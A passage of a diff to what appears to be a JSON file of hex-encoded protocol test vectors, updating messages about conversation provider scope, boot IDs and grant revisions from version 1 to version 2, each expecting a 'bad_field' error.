"574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303032222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303032222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-other-backend", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303032222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303032222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-other-epoch", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a392c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a392c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-other-grant", "direction": "down", - "hex": "574d583101010000010000003a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a39392c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a39392c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-boot-id-not-a-uuid", "direction": "down", - "hex": "574d58310101000001000000220600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a226e6f742d612d626f6f742d6964222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000005f0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a226e6f742d612d626f6f742d6964222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d3439393